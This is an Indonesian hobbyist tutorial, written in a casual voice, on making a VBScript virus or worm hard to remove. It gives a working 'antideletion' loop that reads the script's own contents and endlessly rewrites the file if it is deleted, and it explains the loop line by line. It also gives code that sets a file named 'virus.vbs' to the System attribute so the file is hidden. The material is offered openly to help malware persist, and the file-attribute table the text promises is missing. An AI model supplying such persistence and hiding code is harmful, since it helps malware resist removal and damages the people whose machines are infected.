Atribut File dan Antideletion pada Visual Basic

Huaaah... Kehabisan ide neeh mau bikin artikel apa. Hmmm.. akhirnya ada juga teman yang ngasih "kehidupan" pada pikirannya Peretas77. Dia tanya gini "Tas, gimana sich caranya supaya Virus kita ngga' bisa dihapus, tapi pakai ekstensi .VBS ? " Yeah.. trus jadi ingat dech sama tutorialnya [K] tentang antideletion. Disini Peretas77 akan ngasih tutorial singkat bagi kamu yang belum mengetahui tentang ANTIDELETION dan sekaligus pengesetan atribut file pada VBS.

[[[[[[[::::: 1 :::::]]]]]]] ANTIDELETION

CATATAN: Agar script ini bisa berjalan, letakan di baris akhir.
Gini neeh scriptnya:

------------------------------------------------start
dim fso, myself,mytext
set fso = createobject("scripting.filesystemobject")
set myself = fso.opentextfile(wscript.scriptfullname)
mytext = myself.readall
myself.close
do
if fso.fileexists(wscript.scriptfullname) = false then
set myself = fso.createtextfile(wscript.scriptfullname)
myself.write mytext
myself.close
end if
loop
--------------------------------------------------end

:::::::::::::::::::: PENJELASAN ::::::::::::::::::::

dim fso, myself,mytext
- Mendeklarasikan Variabel

set fso = createobject("scripting.filesystemobject")
- Membuat file system objek

set myself = fso.opentextfile(wscript.scriptfullname)
- Membuat texttream objek memakai file vbs

mytext = myself.readall
- Meletakkan semua file vbs dalam vatiabel mytext

myself.close
- menutup textream

do
- Kerjakan!

if fso.fileexists(wscript.scriptfullname) = false then
- Memeriksa apakah worm kita masih ada?? Jika tidak ada maka...

set myself = fso.createtextfile(wscript.scriptfullname)
- Worm akan "dihidupkan" kembali

myself.write mytext
- Menulis semua variabel textream yang telah kita buat tadi

myself.close
-Tutup

end if
menutup kondisi

loop
- Mengulangi langkah-langkah diatasnya....


[[[[[[[::::: 2 :::::]]]]]]] ATRIBUT FILE

Apa pentingnya atribut file pada Visual Basic?? Penting banget bro.. Sepertinya Worm jaman sekarang sedang musim bermain-main dengan atribut file. Masih ingat dengan ulah beberapa worm yang suka "menkloning" file dokumen dengan atribut hidden?? Tuch khan. okay.. lansung ajah...

On Error Resume Next
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Gf = Fso.GetFile("c:\virus.vbs")
Gf.Attributes = (Gf.Attributes - Gf.Attributes) + 4

:::::::::::::::::::: PENJELASAN ::::::::::::::::::::

Naah.. apa lagi yang perlu dijelaskan? Pasti udah pada ngerti doong. Pada bagian akhir:
Gf.Attributes = (Gf.Attributes - Gf.Attributes) + 4
Disana kita NORMALKAN atribut file itu sendiri lalu kita tambahkan (kita berikan) atribut 4 (System). Berikut tabel atribut file beserta penjelasan singkatnya:



Segitu ajah tutorial dari Spyro. Semoga bermanfaat bagi yang belum mengetahui... bagi yang udah tau.. Ngapain loe baca sampai baris ini!!! Buang-buang waktu ajah..!! hehehe...